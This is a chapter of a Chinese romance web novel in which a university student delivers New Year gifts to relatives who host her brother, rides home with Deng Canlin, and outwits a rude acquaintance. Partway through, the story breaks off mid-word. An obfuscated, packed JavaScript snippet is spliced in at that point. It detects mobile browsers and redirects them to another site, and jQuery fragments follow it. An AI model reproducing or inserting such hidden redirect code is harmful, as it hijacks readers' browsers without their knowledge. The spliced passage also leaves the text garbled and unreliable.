几天后,妈妈寄来的快递到了。
很大的一个纸箱,拆开看,里面有几件年货礼盒,坚果、糕点和酒,妈妈特意把她做的腊肠和腊肉弄成了真空包装。
闻毓青按妈妈的吩咐,把东西分装进她附在箱子里的红色硬纸皮包装袋里,阿欢姐说这样喜庆好看。
打通那个早先存在手机里的号码,闻毓青刚表明身份,对面的女人很快地,热情洋溢地朝她问好,还亲昵地喊她青青。
闻毓青愣了一下,料想她应该是听妈妈那样喊过。
“你妈妈好客气的呀,让你特意来一趟。”
“应该的,”闻毓青礼貌道:“您明天在家吗?我方便过来吗?”
邓昕轩的表婶人很随和,笑吟吟地连说方便,“周末我们都在家的,欢迎你来。”
“好的。我明天下午从学校坐地铁过来,大概会在四点左右到您家。”
“到站了和我发个消息,我让我儿子来接你。”
闻毓青忙说:“不用,我自己过去。”
“他反正没事,地铁到我家有点远,这样快些。”女人细心道:“提着东西走路多累啊。”
其实打个车就好,但学校离城北有点远,闻毓青不舍得。
别看这些腊肠腊肉就两个袋子,妈妈塞了不少,每个提起来份量都不轻,加上还有其他的东西,思及此,她没有再推拒。
“好吧,谢谢您。”
翌日下午,闻毓青提着大大小小的礼品袋,从地铁站乘扶梯上到地面。
刚放下东西,腾出只手拿手机要打电话时,不远处一个青年,正朝她阔步走来。体型高大,身姿笔直板正,小平头,国字脸,刚毅方正的长相。
在和茫然的闻毓青对视的瞬间,他露出一个微笑。
大抵是因为那一脸正气的面庞,那笑也让人看着感到很可靠,让她无端想起,每年寒假回家,在宜江高铁站站岗的武警。
“闻毓青,是吗?”
“我是,你好。”
“你好,我叫邓灿霖,来接你的。”
青年说着便拿起地上的东西,另一只手打算把闻毓青手里的东西也一并拿走,闻毓青忙扯住,“这些我来拿就好。”
他没争,带闻毓青走了几步,停在地铁口停车处的一辆黑色电摩车前,东西最后都放在前踏板的位置。
到了他家楼下,邓灿霖提着东西领她上楼,到门口喊了声“妈”,门很快打开,中年女人的半张脸从打开的门缝里出现,而后是笑容灿烂的整张脸。
闻毓青点了个头问候,“阿姨好。”
“青青到啦,进屋里坐。”洪芳庆拉着闻毓青的胳膊,见她目光扫向在鞋架换鞋的邓灿霖,她忙说,“不用换鞋。”
还没来得及说什么,洪芳庆把她拉到餐桌前,小菜零食饮料,好吃好喝的招待起来,“晚点在家里吃个晚饭,我菜都买好了。”
这个情况闻毓青早有预料,十分从容地说道:“不用了阿姨,我晚点还有兼职。”
“这么懂事哟,”洪芳庆笑了笑,“几点的班?吃完让灿霖送你过去。”
“在中心广场那边,再晚就要迟到了。”
洪芳庆立刻道:“中心广场啊,五点半去都来得及!汤在锅里炖着了,灿霖爸刚下楼买口水鸡,我马上炒几个菜去,很快。”
“真的不用麻烦了...”
“你这孩子,跟你妈一样客气,不吃我就白忙活了,要生气了。”
闻毓青闭嘴,“好吧,谢谢阿姨。”
洪芳庆转身就进了厨房,邓灿霖笑了笑,“她开玩笑的。”
“我知道。”
少了洪芳庆的声音,气氛沉静下来,邓灿霖主动提起,“听说你在经贸念书,我和你一个学校。”
闻毓青讶异,“好巧,你大几?”
他说:“大四。”
“你和我一届。”
“其实我比你大两届,当了两年义务兵,回来继续念的。”
闻毓青点点头,难怪他身上一股硬朗板正的军人气质。
邓昕轩的表叔在十几分钟后提着口水鸡回家。
阿欢姐说他是实小的数学老师,但见了面,更让闻毓青觉得像语文老师,儒雅温和,书卷气很重,连和闻毓青交谈,说话都是轻声细语慢条斯理的。
这次过来的目的,无非是因为邓昕轩。
一家人看上去都是好相与的,闻毓青想,这小子住在这里应该是不会受什么委屈。
饭桌上,她深吸一口气,学着大人那套,端起一杯饮料,尽量让自己显得游刃有余,大方自然:“叔叔阿姨我经你们一杯,以后轩轩在你们家,要多麻烦叔叔阿姨了。”
有些话可说可不说,但她还是说了,“我知道,有时候照看别人家的孩子比带自己家的小孩还麻烦,不听话的时候打也不是骂也不是,更费心,我和妈妈都很感谢你们。我还在宜江,他要是调皮,你们可以直接找我。”
洪芳庆笑了笑,说这些话的时候,闻毓青脸上很明显的,不太自然,略显局促,但偏偏又特别郑重其事,一股孩子的稚气和真诚。
邓硕是丈夫邓时吉在老家宁州县的远方表弟,他们一家在宜江,很少同他来往。
洪芳庆之前过年回去,见过几面,对他印象不好,无所事事游手好闲,爱贪小便宜。上个月邓时吉说邓硕的小孩要转到实小,他们就住在实小旁边,邓硕想让孩子借住在家里。
洪芳庆心里多少是不情愿的,埋怨丈夫不懂推拒,照看邓硕家的孩子,怎么看都是白照顾,招上他,是给自己家添麻烦。
但见过闻阿欢后,她算吃了颗定心丸。
邓硕人不怎么样,他老婆倒是明事理通人情,为人质朴,也不讲虚的,主动登门拜访,没等她抹开面子谈钱,就先说了以后每学期会给孩子打生活费。
如今再见到她女儿,姑娘挺乖的,有闻阿欢身上的那股简单质朴。
洪芳庆给她盛了碗山药排骨汤,“以后常来家里吃饭。”
送闻毓青出门时,她又像上次那样,给闻阿欢的女儿也送了几张游乐园今年发给员工的权益门票,“和你朋友去玩,这还能领甜品和套餐。”
闻毓青把票放进帆布包里,由邓灿霖送到了楼下,再次坐上他的黑色电摩。
夕阳映照,红绿灯旁的空地,倏地出现一只球鞋,一条大长腿支在地砖,装有辅助轮的花里胡哨的小电动车上,穿着年轻时髦的男生,戴着明黄色的头盔,屈居在狭小的座椅前。
画面不免有些滑稽,闻毓青投去打量的目光。
男生单手拧着把手,姿势闲散,头盔镜片没合上,他歪着脑袋,没什么耐心地望着倒计时的红灯。
绿灯亮,旁边的车随即先一步开动。
未拉上拉链的防风外套,在他身后鼓起,风里掀翻出的起伏的浪花。
小
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261631|198050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
电动车的速度终究比不上电摩,很快他们就跃居前头,刚过完斑马线,身后响起长鸣的清脆如莺啼的车笛声,跟在后面的那辆电动车上,男生开口喊着,“灿霖哥!”
听见声音的邓灿霖刹车,停在路边。
身后那辆车骑过来,男生语气里带着点久别重逢的惊喜,“我一看你车就认出来了!老太太说你参军去了,什么时候回来的?”
“这学期就回学校上课了。”扫见电动车篮子里堆着的菜,邓灿霖爽朗地笑了笑,“又帮方老师跑腿呢。”
“可不。老太太这小破车太难骑了,压根骑不动。”
陆曦泽目光一偏,朝后座看去,坐着个女生,乖乖戴着全盔,脸侧对他,只露出透明防风镜片后的上半张侧脸。
哟,也是铁树开花了。
他随口道:“这你女朋友啊?”
下一秒,瞧见那只肩带光秃秃的、印着简笔漫画小动物的帆布袋,他眼眸微眯,视线上移,正巧对上女生扭过来的脸。
那双蹙眉的杏眼里,荡漾着微微的恼意。
陆曦泽愣了下。
但很快,十分确定地喊人:“闻毓青。”
闻毓青:“......”
裹成这样了,怎么认出她的。
邓灿霖意外道:“你们认识?”
“昂。”上次闻毓青挂电话前莫名其妙说的那句话,害陆曦泽琢磨了好半天,这会儿阳关大道上碰见,非得弄个清楚。
他看向闻毓青,径直问:“你上次为什么骂我?东西真不要了?我给你扔了?”
闻毓青咬咬牙,皮笑肉不笑,“不要了。”
邓灿霖不明所以,但大抵从剑拔弩张的氛围里,看出两人闹了点矛盾,“吵架了?”
“这人平白无故骂我不是什么好东西,你谁啊,敢这样说我。”他扯起唇角,哼了一声,“灿霖哥,就算她是你女朋友,我也是要讨回公道的。”
怎么会有这么不分场合的人?体面两个字,他可能永远不知道怎么写。
闻毓青出声:“...我不是。”
“不是什么?”
“不是他女朋友。”
他一顿,问邓灿霖,“她是你谁啊?灿霖哥。”
邓灿霖:“远方表妹。”
“哦,行吧,”他继续道:“咱哥从小正直,正好在这儿给主持个公道。”他目不转睛望着闻毓青,“你给个说法呗。”
僵持不下的时候,闻毓青看了眼手机,再拖拉下去,打工要迟到了。
她只想快点结束这场丢脸的闹剧。
咱哥咱哥的,不就是套近乎嘛,她也会。
她于是对邓灿霖说:“表哥,能帮个忙吗?”
邓灿霖怔了下,“你说。”听到闻毓青几句耳语后,端正的脸上浮现一抹憋不住的笑,应声:“行。”
见她半天不回应,陆曦泽挑眉,敢做不敢当是吧。
他倾身,屈指在她头盔上漫不经心地轻敲了两下,“喂,别缩在头盔里不说话——”
话音未完,指背塑料头盔的冷硬触感忽地消失。
电摩把手旋拧启动,车轮飞速转动起来,瞬间载着闻毓青扬长而去。
陆曦泽瞪大了双眼。
只见后座的人头也没回,扬起手,背对着他挥了挥。
他咬紧后槽牙,唇缝忍不住挤出一声低骂。
“......靠。”